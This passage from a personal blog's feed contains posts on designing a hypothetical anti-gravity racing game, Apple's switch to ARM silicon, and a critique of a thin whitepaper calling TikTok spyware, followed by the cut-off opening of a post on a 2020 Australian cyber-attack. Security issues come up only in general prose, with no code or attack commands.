        <title type="html"><![CDATA[An Actually Good Anti-Gravity Racing Game]]></title>
        <id>https://justin.duch.me/post/antigrav_racing</id>
        <link href="https://justin.duch.me/post/antigrav_racing"/>
        <updated>2020-07-16T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Here's a question for you. What do Wipeout, Redout, and BallisticNG all have in common?</p>
<p>They all suck.</p>
<p>Okay maybe that's a bit much. As arcade games they can be quite fun, but as racing games they lack the depth to be enjoyable. So today, we're going to discuss something I've wanted for a few years now, but have only started to seriously think about it during this lockdown period: what would an anti-gravity racing game with good racing look like?</p>
<p>First of all, what is my problem with the other games? Most ships in these games are very poor in terms of ship control. It very rarely feels like you are actually piloting the ship rather than gently suggesting where it should go. They are generally very understeer-y, and you can only make sharp turns through the use of airbrakes which do the complete opposite and become very oversteer-y.</p>
<p>This makes close racing (where two ships are very close together) practically impossible as you will most likely end up hitting the other ship (and is why I'm assuming the ships are often equipped with some sort of shield). On top of all that, there is very little in terms of race strategy.</p>
<p>While driving a racecar (let's use GT3 cars as an example) you have to think of many things: tire wear and track temperature, fuel load, your and your opponents lap times, your opponents race strategy, etc. We can also include things that are setup before the race even starts: break bias and pressure, ECU mapping, suspension, aerodynamics, traction control and ABS (for GT3 cars you can change these during the race), etc.</p>
<p>In comparision to Wipeout, you really only have to think about how fast you are going, and maybe when to pick boost or item pickups. This is fine for an arcade game, but it's not what I want.</p>
<p>So that's the first issue I'm looking to fix. Next is a bit more simple: how does any of this work?</p>
<p>How do the ships stick to the track and not fall of? ie. How does the anti-gravity work? How do the shields work? Why can you put weapons on your ship if people pilot them? That seems incredibly dangerous. How do the ships even turn or slow down without the airbrakes? I've not seen a single ship in any of these games with side/reverse thrusters. Does the anti-gravity just slow them down automatically? If so, that's really dumb. I've look through almost the entire <a href="https://wipeout.fandom.com/wiki/Wipeout_Central">Wipeout wiki</a> and not found answers to any basic questions I've had.</p>
<p>These two problems are more related then you might originally think. A good idea of how the ships could work in real life can create massive changes in how they are controlled, and we'll be discussing all these as I get to them.</p>
<p>A few more things to note: this is a purely hypothetical game, I don't ever intend on making this (not that I could anyway), if an actual game developer is reading this, feel free to steal these ideas.</p>
<p>This also isn't a "sim" in the sim racing sense, it's pretty hard to simulate technology that doesn't exist. And even if we could, I wouldn't want to. Just because something is accurate to real life doesn't make it good (eg. the dirty air from the wake of F1 cars making them hard to follow each other), it's still a game and I want it to play to the strengths of the medium where we don't always have to abide by the laws of physics.</p>
<p>On that note, I'd like to talk about inspiration. It's very clear that Redout and BallisticNG take huge inspriation from Wipeout.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> However, we are trying to avoid the pitfalls of Wipeout style racing, meaning we shouldn't take cues from any of these games. We're going to start with the premise, "anti-gravity racing", and build the rest from scratch.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>BallisticNG is described as a love letter to the original Wipeout trilogy in it's Steam store page.</span></aside>
<p>However, we're not throwing all forms of inspiration out the window. While there are no other anti-gravity racing games to look at, there are other, similar games. The most obvious being the more simcade racing games like Gran Turisimo, but we can also look at space sims a la Elite Dangerous, which tries much harder than other games to depict a believable year 3306.</p>
<p>Those are probably what we should look at, but there's a certain game which design philosophy we'll take to help hone in on what we want first. Sorry if this is a bit long, but I've had five months to think about all of it and am only starting to write all of it down now, it might not be the most well structured piece.</p>
<p>The game is "The Legend of Zelda: Breath of the Wild". Yep, I'm talking about BOTW, I'm officially a YouTube game critic. One of the more memorable moments of playing BOTW was realising what made all of it "work": BOTW is nothing but a big state machine. It's all just state spaces interacting with each other. For example, early on you learn that dropping an apple next to a campfire cooks it. The state of the apple being uncooked is changed into cooked by interacting with the fire. Almost every item has interactions like these making Hyrule feel more like a living, <strong>breathing</strong> place.</p>
<p>Again the important thing here is that all of this is believable not accurate. It makes sense that fire would cook an apple, but if we were to attempt dropping one in real life like we do in BOTW it wouldn't work. In most games, if you wanted to cook an apple, a button prompt would appear over the campfire and pressing it would open a menu were you could insert the apple, then your character would probably do a cooking animation and after some time you'd get a cooked apple.</p>
<p>But why? Yes this is more accurate to real life, you probably need to actually cook the apple in a specific way and you can't just drop it near fire. But does this make the game better? Especially when there's only one animation and you're seeing your character do the same thing over and over again. The outcome is the same, you get a cooked apple.</p>
<p>BOTW has been able to make these complex interactions with so many of the items in the game exactly because they did the simple solution to cooking an apple. By doing this, I'd say that BOTW is a more enjoyable and real game than most.</p>
<p>A sim racing game will never be able to fully simulate the physics of the real world as long as games still run on classical computers that run simulations of Newtonian physics. They can get close and become good enough but they'll never truly get there. BOTW has a bunch of state systems interacting with each other to make a dynamic game, this is not how the real world works, because the real world is not a state machine, but it's enough to fool you into be immersed.</p>
<p>This is how the game should work: parts of the ship, the track, and even the weather should all affect each other in various and interesting ways, but not because it's accurate to real life but because it <strong>makes sense</strong>. Sometimes reality is a real bummer, but this is a game, and we don't need to be constrained by it.</p>
<p>With all that <strong>finally</strong> over, let's start. We're going to talk about specific parts of the game in the order I find most important. Hopefully we'll get a holistic view of it all at the end.</p>
<h2 id="shipdesigndynamics">Ship Design/Dynamics</h2>
<p>According to our current models of general relativity, anti-gravity is impossible…</p>
<p>Oh.</p>
<p>But hey! Remember what I said about not caring about accuracy? What an easy cop-out! HAH!</p>
<p>I'm joking, actually. Having proper anti-gravity opens up a whole bunch of other problems and I don't want to think about them. Instead we can create the illusion of anti-gravity with the most important part of the ship:</p>
<h3 id="themagplate">The Mag-Plate</h3>
<p>Magnets man, how do they work? I have no idea, so that's probably why I think using a "mag-plate" is fine. By using a big electromagnetic plate (shortened to "mag-plate") positioned at the bottom of the ship we can keep the ship "hovering" above our magnetic track. How far above the track should they be? Probably around 30mm to 80mm, even in our fantasy land of the future I doubt magnets are strong enough to pull/repel a heavy ship.</p>
<p>A neat thing about being so close to the track is that it means that the mag-plates on our ships are probably going to hit the track. When the plate scrapes the track we should then see pretty sparks like on an F1 car! But when an F1 car scrapes the ground it doesn't hit anything important, there's a piece of wood at the bottom of a specific density so as not to influence the height of the center of gravity too much. That wooden piece has titanium strips running along it to produce those sparks.</p>
<p>When our ship bottoms out it's going to be hitting the mag-plate, wearing it out and making it less effective. This means we'll need interchangeable mag-plates which we can swap out during a pit stop like with cars having to change tires.</p>
<h3 id="thepowerunit">The Power Unit</h3>
<p>How is the mag-plate going to be powered? You're going to need a whole heap of electric current to run through the coils of the plate in order to get it to stick.</p>
<p>The answer to that is nuclear fusion of course! Each ship will need a power plant to supply it with energy. They consume and fuse fuel (hydrogen atoms) to release the energy in the form of heat. This energy is converted into electricity. Like in real life, power plants are not 100% efficient at converting fusion heat into electricity, so some energy will be lost as waste heat and must be exhausted through radiation panels.</p>
<p>The hydrogen fuel is also probably going to run out, so refueling will be another thing we can do during pit stops.</p>
<p>Not only will the PU make electricity for the mag-plate (and other electrical components) but the fusion process will also produce helium in a highly-energized plasma state for the:</p>
<h3 id="thrusters">Thrusters</h3>
<p>This is probably the part of the ship that is going to be the most different to our other anti-gravity games. To fix a big pet-peeve I have with the others, we will give our ships reverse and side thursters. Reverse thrusters don't really need to be explained but ideally there would be three side thrusters on each side:</p>
<ul>
<li>The four at the front and rear of the ship will help turn the ship. E.g to turn left you use the front right and rear left thrusters which would spin the ship left.</li>
<li>The two in the middle of the ship will help with strafing, because we can strafe our ships now! E.g to strafe right we'd either use the middle thruster on the left or all the thursters on the left.</li>
</ul>
<p>This would actually make piloting a ship much more akin to piloting a ship in a space sim than in another anti-gravity game, which means your current velocity is going to be more important. The fastest way to change the velocity of your ship is to spin the ship in the direction you want to go and fire the forward thrusters (assuming they are the biggest and produce the most thrust). This also makes hitting the apex of corners quite interesting.</p>
<p>So, in order to quickly slow down your ship to hit a hairpin, it would be fastest to spin your ship 180 degrees and fire your forward thruster in the direction of the corner. Using the side thrusters to angle your approach, your ship should be facing backwards all the way until the tip of it hits the apex.</p>
<p>Something else to think about is what about when you are side-by-side with someone else? Is there going to be enough room to make a 180 degree spin?</p>
<p>And with only six side thrusters, there's something thing I've been thinking about: what if we could control these individually? When racing with a controller you'd use the thumbsticks to turn the vehicle. Applying this to our ship would mean that when you hold the thumbstick right it would spin the ship by using the front left and rear right thrusters, and to strafe maybe you'd use the other thumbstick or have a button to press to go into "strafe mode".</p>
<p>But what if you only want to use the front left because the corner isn't that sharp? But how would you even map that to a controller? I'm looking at my DS4 controller right now and it seems like each side has four face buttons. Hmm.</p>
<p>So here's the idea, (on a DS4 controller) we map: up, left, and down to the front left, middle left, and rear left thrusters and triangle, circle, and X to the front right, middle right, and rear right thrusters respectively. This leaves us with the left and square buttons free for us to use for other purposes.</p>
<p>A control scheme like this is probably going to be very alien to many people, but I'm incredibly curious as to how it would actually feel while playing. I'm pretty certain that if you could master it, it would make you a faster pilot simply because you get so much more control of the ship.</p>
<p>Ideally, a perfect controller would have these side thrusters mapped to analog buttons so you could change how much propellant goes into each thruster, but we need to deal with the cards we are given.</p>
<h3 id="aerodynamics">Aerodynamics</h3>
<p>Our ships are going to be raced in Earth atmosphere. Like all vehicles, aerodynamics is an important factor for drag reduction and downforce. Wait… downforce? Why do the ships need downforce if they are stuck to the track with the their mag-plates?</p>
<p>First let's look at what we have so far. We have our mag-plate and several thrusters all sharing the same power source. It is very improbable that a small nuclear fusion reactor is going to be able to power both of these at their max potential, something is going to have to get the short-end of the stick.</p>
<p>So instead of solely relying on our mag-plate to keep the ship stuck to the track we can supplement it with some downforce. With the correct amount of aerodynamic downforce, as the ship speeds up, enough downforce will be made to lessen the need to supply power to the mag-plate. This gives the thursters more power, which makes the ship faster, which produces more downforce, etc… I think you get the idea.</p>
<p>Again, this changes the dynamics of cornering. As you slow down for a corner there's going to be less downforce so your thrusters will get less power as power gets directed to the mag-plate. This could also mean that we'll start seeing aero bits pop on on the sides and rear of the ship to help keep downforce as it spins.</p>
<p><strong>[Correction 2020-10-08]:</strong> Hey pals, it's been three months since I wrote this and I'm now realising that this doesn't make sense (kind of), and the reason for that is gravity. If our ship were the right side up, gravity would pull it down yeah? This would mean that instead of the mag-plate pulling the ship with attraction it would need to push the ship away from the track with repulsion. Magnets are able to do this obviously, but with the downforce on the ship this would mean <strong>more</strong> power would need to go to the plate for repulsion to counteract it.</p>
<p>Thankfully, there's a simple solution to this: active aerodynamics. Currently a banned technology in F1, this would employ moveable panels and wings to control the movement of air in and around the ship. When the ship is right side up, the aero parts would move to generate lift and when upside-down, change to generate downforce. This is a pretty good solution because firstly: active aero is bloody cool, and secondly: I don't have to change anything else in this post.</p>
<h3 id="thecockpitorlackthereof">The Cockpit (or lack thereof)</h3>
<p>There is no cockpit. I've debated about this for quite a while, but I think due to the speed at which these ships will probably travel it would be lethal for a human to be in them. Not only because of crashes, but because a human wouldn't be able to survive the amount of G-force generated by the ship.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> Instead they will be remote piloted with a camera attached to the ship.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>With nuclear fusion, these things are going to be FAST.</span></aside>
<p>Thankfully, this would allows us to be a little more creative with track design as we can completely throw any safety precautions out the window.</p>
<h2 id="trackdesign">Track Design</h2>
<p>I think the track design in most anti-gravity racing games is fine actually. Personally I would just remove some the the random loops and jumps they feature, and call it a day. You could also narrow most of them, while also making the walls further away from the track to make it less punishing. So instead of having walls constantly on either side of the track we could add something analogous to grass or gravel in real race tracks. This could be a zone where the magnet of the track is weaker, requiring our ship to serve more power to the mag-plate.</p>
<p>There's a few things I think the others didn't take into account though:</p>
<h3 id="location">Location</h3>
<p>Our anti-gravity racing ship is essentially a spaceship on rails, so why not make a track in space? Without an atmosphere to generate downforce, the mag-plate will need to have full power constantly, but it also means that we won't have a top speed, as there won't be any of those pesky air particles to slow us down. Who knows what <strong>wacky</strong> racing that could cause?</p>
<h3 id="weather">Weather</h3>
<p>Unlike racecars, our ships should be able to be piloted in any weather condition (maybe except hurricanes) as we use magnets to stick to the track instead of physically sticking to it with tires, making it impossible to lose control because of rain or snow.</p>
<p>Although a big reason for why cars don't race in very heavy rain is also because the visibility decreases by a huge amount. We're actually building the technology to solve this right now: <a href="https://en.wikipedia.org/wiki/Lidar">LIDAR</a>. Our ships will come with LIDAR sensors to display an AR overview of the track and other ships to the camera feed, making visibility in the rain manageable.</p>
<h2 id="gimmicks">Gimmicks</h2>
<p>Real life racing can often have several gimmicks intended to make the sport more enjoyable. E.g DRS in F1 (to help with overtaking), Formula E (all of it), etc.</p>
<p>I don't really like DRS, but something like the boost button in LMP1 cars would be cool. There could be a battery in the ship with reserve power, you could then press a button to deploy that power to the mag-plate instead of getting it from the reactor. This would functionally have the same effect as an LMP1 car getting more horsepower from it's hybrid system as we all should know now that: reducing the amount of power going from the reactor to the mag-plate frees up power to go to the thrusters.</p>
<p>That's about it. I think there are some neat ideas here, but I'm neither a game designer nor am I very good at racing, so who knows?</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Why Apple Silicon Is A Big Deal]]></title>
        <id>https://justin.duch.me/post/apple_silicon</id>
        <link href="https://justin.duch.me/post/apple_silicon"/>
        <updated>2020-07-09T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>The experience curve is a model expressing the relationship between experience producing a good and efficiency of production<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a>. It refers to the effect that firms learn from doing, which means that the higher the cumulative volume of production, the lower the direct cost per new unit produced.</p>
<p>Back in the 1980's - 1990's Apple, along with Power PC, Sun, and other engineering workstation manufacturers had embraced the Reduced Instruction Set Computing (RISC) architecture. These were much simpler with a smaller instruction set compared to x86 chips. Even though you had to execute more instructions to complete a given task, these chips were much more efficient than the x86 chips made by Intel that had a bloated, inefficient instruction set.</p>
<p>This was a good plan, but it ran into problems with the experience curve. As the Intel x86 chips had a huge market share lead over RISC, the cumulative production was doubling very quickly in the Intel world, and was doubling very slowly in the RISC world. So, over a period of years, the Intel platform was improving so rapidly that they had opened up a large gap in price per unit of performance over the RISC architecture.</p>
<p>Apple’s designs and software were elegant, but its customers were paying a premium price for the meagre performance of the RISC architecture. The solution was to convert Apple to the Intel platform. It caused many problems for developers in the short term, but it put Apple on the same experience curve as the Intel-based PCs.</p>
<p>That brings us to today. Intel still has the biggest market share in personal computers, but these days, personal computers are a tiny part of the overall market for silicon chips. Phones and tablets now sell way more units that personal computers. The leading phones and tablets use ARM chips (which are based on RISC), and are currently on a much faster experience curve than Intel and are improving performance and reducing costs at a much faster rate.</p>
<p>With ARM CPUs closing in on x86 performance, and Intel completely dropping the ball on their newer chips<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a>, Apple has decided to phase out its use of Intel CPUs for ARM hardware in its Macs over the next two years.</p>
<p>These are exciting times. I feel that this industry, much more than others, has always had to live with the mistakes of the past out of an inability to disrupt the space. Moving from x86 to ARM is no easy feat and will probably cause a lot of pain for a lot of developers as it did before, but I applaud Apple for being the first one to make such a change in the personal computer scene.</p>
<p>Also, I know I'm a month late, but I watched all the WWDC talks before writing this and some of them were a real slog to go through.</p>
<p>But back to the topic on hand. The current Intel based Macs contain a multicore CPU and many have a discreet GPU. Recent Macs also have a T2 chip which enables features such as Apple Pay, and Touch ID. Machines with a discrete GPU also have separate memory spaces for the CPU and GPU.</p>
<p>The new Apple silicon Macs combine all these components into a single system on a chip or SoC. Building everything into one chip gives a system a unified memory architecture. This means that the GPU and CPU are working over the same memory. Graphics resources such as textures, images and geometry data can be shared between the CPU and GPU efficiently with no overhead as there's no need to copy data across a PCIe bus.</p>
<p>With Apple controlling the entire software and hardware stack, we should see more efficient implementations of software, just like we see on the iPhone and iPad. Along with using ARM architecture this means a longer lasting and more consistent battery life.</p>
<p>And with a SoC, Apple will be able to integrate more chips in a smaller space. This could make for a substantially denser and more compact motherboard - motherboards that more resemble the iPad motherboard than a traditional notebook motherboard. This would free room in the machine for either, other hardware enhancements, or a slimmer and lighter package overall.</p>
<p>Apple have also hinted that the integrated graphics of their SoC have better performance than discrete graphics. If this were the case they could drop discrete graphics (and all the cooling it needs) on the 16 inch model MacBook, which again, leaves more space for other improvements.</p>
<p>The per-unit cost of Apple silicon based chips will likely be substantially lower than Intel-based chips. Apple’s newest chip, the A13, is found on the iPhone SE which costs AUD$750. It's impossible to say precisely how much the SoC itself costs, but given the cost of the iPhone SE, it's likely on the order of dozens of dollars.</p>
<p>Meanwhile they’re likely paying Intel hundreds of dollars for each Mac to use their chips. Those savings could be used to pad Apple's profit margins, or they could be used to create Macs that are substantially cheaper or more capable than ever before (but most likely the former). Although, given that MacBooks, from a hardware perspective, aren't much more than a beefy iPad with keyboard attached, I wouldn't be surprised at all to see a AUD$1200 to AUD$1400 MacBook in the near future.</p>
<p>Control of the hardware also allows Apple to develop security features for the Mac on par with the iPhone.</p>
<p>Apple silicon enforces a restriction called Write XOR Execute. That means that memory pages can be either writable or executable, but never both at the same time. Pages that are both writable and executable can be a dangerous security vulnerability. However many modern applications embed just-in-time compilers to support languages such as Java or JavaScript. These JIT compilers frequently rely on memory being both writable and executable.</p>
<p>To solve this they are adding a new API that allows memory to be quickly toggled between writable and executable permissions. This works per thread, so two threads can see different permissions for the same page making it very easy to adopt in multi-threaded JITs.</p>
<p>A great security feature coming from the iPhone is hardware support in the memory controller to make the OS kernel code immutable. Once the kernel has been loaded into memory, kernel integrity protection prevents memory pages containing kernel code from being modified or additional pages from being made executable.</p>
<p>There's also pointer authentication. But ROP is fun so I don't want to talk about it. Yes, I'm okay with Kernel Integrity Protection making a closed off system even more closed off, but not letting me ROP is where I draw the line.</p>
<p>But on the subject of closing off the system, all these security features impact kernel extension development. To be able to support Kernel Integrity Protection they had to change how macOS loads kernel extensions, which means this now requires a reboot.</p>
<p>Brining us to the new boot process. On Apple silicon Macs, the boot process is based on secure boot architecture of iOS and iPadOS. Secure boot ensures that each start-up component is cryptographically signed by Apple and that the boot happens only after the verification of the chain of trust.</p>
<p>For the current Macs in order to use Bootcamp you just have to turn off System Integrity Protection, but with Secure boot and the new ARM chips this is less likely to work. You can turn off Secure boot, and there are in fact ARM images for Windows but I still doubt it could happen.</p>
<p>Most of these features including the new OS features in the upcoming macOS Big Sur, look like Apple trying to unify all their devices. Which is a great thing in my opinion, a big reason for why I buy Apple products is continuity between devices.</p>
<p>Of course, I still have some issues. I would have much preferred them to adopt RISC-V instead of ARM because it's a more open platform. Although I admit it would be a mistake to do so right now, RISC-V is simply not ready but even so, everything that is making ARM attractive right now is applicable to RISC-V especially since it is so much easier to add custom logic.</p>
<p>Like with Bootcamp there could also be problems with visualization. It is very likely that ARM-based Macs will lack a performant hypervisor upon release. Apple has <code class="prettyprint">Hypervisor.framework</code><a href="#reference-3" class="reference-link" id="reference-3-backlink"><sup>[3]</sup></a> which has been updated for ARM Mac, but it's still up to vendors like VMware and Docker to respond and start using it.</p>
<p>We'll have to wait and see until the first Macs come with Apple silicon to see if it was truly worth it, but it will be nice to finally not have to deal with an x86 ISA.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://en.wikipedia.org/wiki/Experience\_curve\_effects</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://www.pcgamer.com/intel-skylake-why-apple-left/</div>
<div class="reference" id="reference-3"><a class="reference-link" href="#reference-3-backlink"><sup>[3]</sup></a>: https://developer.apple.com/documentation/hypervisor/apple\_silicon</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Is TikTok Spyware? And The Value Of Proof]]></title>
        <id>https://justin.duch.me/post/is_tiktok_spyware</id>
        <link href="https://justin.duch.me/post/is_tiktok_spyware"/>
        <updated>2020-06-30T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>If you were here last time, you may have noticed I mentioned that I probably won't do infosec content anymore.</p>
<p>That did not last very long.</p>
<p>Today we're looking at some of the reasons people think TikTok is state-sponsored spyware. With it's ties to China, being a tool for global surveillance is not unlikely, but proving it is a different story.</p>
<p>This all started with a post on r/technology I saw called "<a href="https://www.reddit.com/r/technology/comments/hgwe3c/guy_who_reverseengineered_tiktok_reveals_the">Guy Who Reverse-Engineered TikTok Reveals The Scary Things He Learned, Advises People To Stay Away From It</a>", which is a Reddit post linking to a post in a different website which cites a Reddit comment. We're going to skip the middle-man and go right to the source which is <a href="https://www.reddit.com/r/videos/comments/fxgi06/not_new_news_but_tbh_if_you_have_tiktiok_just_get/fmuko1m/">here</a>.</p>
<p>The comment by u/bangorlol has some bold claims like "TikTok is a data collection service that is thinly-veiled as a social network", and "they provide users with a taste of 'virality' to entice them to stay on the platform. Your first TikTok post will likely garner quite a bit of likes, regardless of how good it is".</p>
<p>This all makes sense, TikTok has always looked super shady to me, but this doesn't explain anything. Where is the proof? He's just all "trust me, I'm a nerd".</p>
<p>Recently he's edited the post with this at the top: "I'm getting a lot of DM's asking me to prove the majority of this with a paper and snippets of the offending code. I have a decent amount of my notes on my other laptop that recently had a motherboard failure and the majority of that data is on the laptop's SSD. It's a macbook pro, so recovering the data isn't exactly super simple. I have some frida scripts that I pushed to my git server as well as some markdown files + conversation logs I've had with exploit devs, but not much else. […] I'm planning on putting up a simple site/blog with what I have and will be updating this comment with the link when it's done."</p>
<p>Looks like the average "dog ate my homework" excuse, but hopefully we'll see some of that stuff soon. At the bottom of the comment, he's added some more research by other people we can look at.</p>
<p>One of them is by <a href="https://blog.zimperium.com/zimperium-analyzes-tiktoks-security-and-privacy-risks/">Zimperium</a>, which is just them using their software to find "privacy and security concerns". Why should I trust Zimperium's automated reports without an explanation of what they are checking? Seems more like an advertisment to me. And in order to even look at it they ask me about my phone number, email, company, and name. Kinda ironic.</p>
<p>The other one is report by <a href="https://penetrum.com/research">Penetrum</a> and is actually the reason for why I'm writing this post, and what the rest of the post will talk about.</p>
<p>Because this is the worst "research paper" I have ever read in my entire life. After reading all 21 pages of this pure, unfiltered garbage I actually became <strong>angry</strong>. How could something be this bad?</p>
<p>First of all, let's get all the "nitpicking" about presentation out of the way.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> On the page I linked look at the "TikTok Research" box and press the "details" button and download "Penetrum_TikTok_Security_Analysis_whitepaper.pdf". Okay, open it and tell me what the first thing you see is.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Presentation is actually really important in a report, I'm only calling it nitpicking to be nice.</span></aside>
<p>Is it a fucking <strong>480p JPEG</strong> of their logo, with "Penetrum Security -- The Difference" written in text (and italicised) below it? That's the first thing you show us? Your subtext has to be written in the PDF instead of being a part of image because you couldn't afford a graphic designer? Jarring is an understatement.</p>
<p>Next, scroll down <strong>one</strong> page. Now what is it?</p>
<p>It's a typographic mess, that's what it is. Haha yes, center aligned titles! GOOD IDEA! On page 6 there's even a title at the bottom of the page where the actual content is on the next page! FUN! Why are the margins and font sizes so large? Could it be because there's no actual information and they're just padding? Spoiler: <strong>it is</strong>.</p>
<p>With all that done, we can actually get into it. The introduction has this line: "What if I told you that TikTok harvests an excessive amount of data and that this can all be proven right now?" Note the fact that this is the type of language you'd see in, I dunno… <strong>this blog</strong> and <strong>not</strong> a professional whitepaper/report. But I am interested in how all of this can be "proven right now". So yeah, maybe we should "buckle up folks, it's about to get pretty wild", but for a different reason than they were probably hoping for.</p>
<p>Next page is the overview. I'm going to show all of the points here:</p>
<ul>
<li>37.70% of known ip addresses linked to TikTok that were found inside of APK source code are linked to Alibaba.com; a Chinese sanctioned ISP located in Hangzhou.</li>
<li>Alibaba’s privacy policy states that they share and distribute personal information of its users</li>
<li>TikTok in itself is a security risk due to the following reasons;<ul>
<li>Webview, and remote webview enabled by default</li>
<li>Application appears to take commands over text and receives them piping themdirectly into Java as an OS command</li>
<li>The application that uses Java reflection while decreasing VM load time can also be taken advantage of by malicious users and has a CVE score of 8.8</li>
<li>This application has been observed to log sensitive information such as;<ul>
<li>Device information</li>
<li>User GEO location</li>
<li>Monitors user activity</li></ul></li></ul></li>
</ul>
<p>This… this is not proof. We don't even have to read the rest of the report to know (but we will) that this tells us nothing.</p>
<p>"37.70% of known ip addresses […] are linked to Alibaba.com; a Chinese sanctioned ISP". So what? It's a Chinese app, of course they're going to talk to Chinese IPs, and unless you can prove what is happening when they talk (they don't) this is useless information.</p>
<p>"Alibaba’s privacy policy states that they share and distribute personal information of its users". Again, so what? Literally everyone on this planet does that. It's still a bad thing of course, but we're going to need more than that.</p>
<p>The other points are about the security issues, which don't really explain anything about "data harvesting", but we'll burn that bridge when we get there.</p>
<p>We can actually skip the next two sections "Links to Chinese IP addresses" and "Alibaba’s Privacy Policy", because they don't actually say anything new in regards to their sentences in the overview. They basically just explain how they got the IP addresses and why collecting data is bad (not how much, or how they do it).</p>
<p>Next section is "TikTok and What Data is Collected". Finally, some information.</p>
<p>We're given a question: "when does extracting data hit the threshold of too much? Is it necessary for a mobile application to harvest the IMEI number of a phone, it's screen resolution, or the SIM card provider information? Is it normal for an application to have a section that enables tracking, collects GPS coordinates, and more?"</p>
<p>Personally, I think "extracting data" hits the threshold of "too much" the moment you start extracting data.</p>
<p>They then go on and talk about some of the APIs TikTok uses. There is a tracker named "AppsFlyer", which uses location data to produce location based advertisments and requiring the permission: <code class="prettyprint">android.permission.ACCESS_FINE_LOCATION</code>. They look at the code which "collects everything from the current OS version to running network events (WiFiSSID changes, etc), and even the IMEI number of the associated phone."</p>
<p>As they state, "the IMEI when used by trackers is usually used to determine whether an application is re-installed on a phone and give an analysis of other applications that are installed on the phone. Essentially, it creates an extremely realistic and graphic fingerprint of your phone which can be used to determine everything you have installed."</p>
<p>This is all correct when looking at the code they provide. The problem is that none of this is really any special. Facebook, Google, and Apple do all of this and a lot more. As terrible as it sounds, this is the bare minimum I expect them to do and doesn't really point to being "excessive" (when compared to other companies).</p>
<p>Well, that was everything they had on how TikTok supposedly harvests data. That was not very much. In fact, I don't think it was anything. The rest of it is about security issues, which we'll also go through in case they're interesting.</p>
<p>First up is the issue of executing of OS commands. They admit that it "is normal and understandable, but executing them from user input is less acceptable". Okay cool, so did they find it executing from userland?</p>
<p>"More research will need to be done in order to make a concrete determination if TikTok executes from user input."</p>
<p>Guess not. Why did they even put it in here?</p>
<p>Next is how "it also uses insecure cryptographic algorithms, such as MD5". That's practically all they say about it: "MD5 BAD". No mention of where it's being used or how there are still uses for MD5 even when it's a weak algorithm (e.g. checksums). Again, without more context this is a non-issue.</p>
<p>Finally we see an <strong>actual</strong> security problem. A very obvious vector for SQL injections on a <code class="prettyprint">delete</code> query. Does this mean we'll start seeing real issues now?</p>
<p>Yes actually! Kind of. They talk about "hard coding API tokens in code [as] plaintext". Which is a less than ideal thing to do. But the example they show is from a Jira endpoint (im guessing from the <code class="prettyprint">X-Atlassian-Token: no-check</code>, and <code class="prettyprint">/issue/</code>), so it really doesn't seem like a big deal to me.</p>
<p>Next is use of webview and reflection. Gotta be honest here, I know nothing about Android development so I'm not going to be able to disagree with them when they say it's a big problem. Apparently there is "insecure use of SSL/TLS like ignoring SSL/TLS errors all together, reflection, or <code class="prettyprint">REMOTE_DEBUGGING</code>."</p>
<p>That's all of it then. So what have we learned? An older version of TikTok (au fait, they looked at versions 10.0.8-15.2.3) has some security issues and harvests as much data as everybody else.</p>
<p>Let me be clear, I don't like TikTok. This is not a defence of TikTok. The issue here is that, with such shitty proof, you could totally turn it into a defence of TikTok. It makes it a prime candidate for whataboutisms. You've seen me do them on this very post.</p>
<p>I think it is very likely that TikTok really is harvesting "excessive amounts of data", but I'll never be able say that I'm <strong>certain</strong> of it if we only have shit like this to back it up.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Copy-Paste Compromises]]></title>
        <id>https://justin.duch.me/post/copy_paste_comprimises</id>
        <link href="https://justin.duch.me/post/copy_paste_comprimises"/>
        <updated>2020-06-19T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Today I woke up to an organisation-wide email telling me that "Australia is currently being hit by a cyber-attack which is targeting all levels of government, political parties and private businesses". Hey that sounds fun, so I look at the news and see this headline: "<a href="https://www.theguardian.com/australia-news/2020/jun/19/australia-cyber-attack-attacks-hack-state-based-actor-says-australian-prime-minister-scott-morrison">Cyber-attack Australia: sophisticated attacks from ‘state-based actor’, PM says</a>."</p>
<p>Ok so the government said it. Now as weird as it may seem, this is the first thing I thought when I read that: "Oh so it's probably bullshit then". Our government (but mostly a certain party) has a bad track record of calling things cyber attacks. Back in 2016 they blamed a DDoS attack on taking down the ABS Census website<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a>, when in reality people where just, you know… <strong>using it</strong>.</p>
<p>Apparently we invest absolutely nothing in our technology infrastructure, because these absolute mad lads went and blamed another failure on a DDoS attack earlier this year. This time it was people trying to register for Centrelink<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a>, which is a little worse then people unable to fill out census forms as instead it affects people who have lost their jobs due to a certain global pandemic and need support.</p>
<p>And while not directly related to cyber security, let me remind you about the NBN. What a bloody farce. Any time the Coalition starts talking about techonology (or anything, really), my brain immediately starts shutting down in fear of getting an aneurysm.</p>
<p>But back to the topic on-hand, unfortunately, or fortunately for me because I seem to enjoy reading postmortems, this time it's actually a cyber attack. According to the previous article: "we know it is a sophisticated state-based cyber actor because of the scale and nature of the targeting and the tradecraft used."</p>
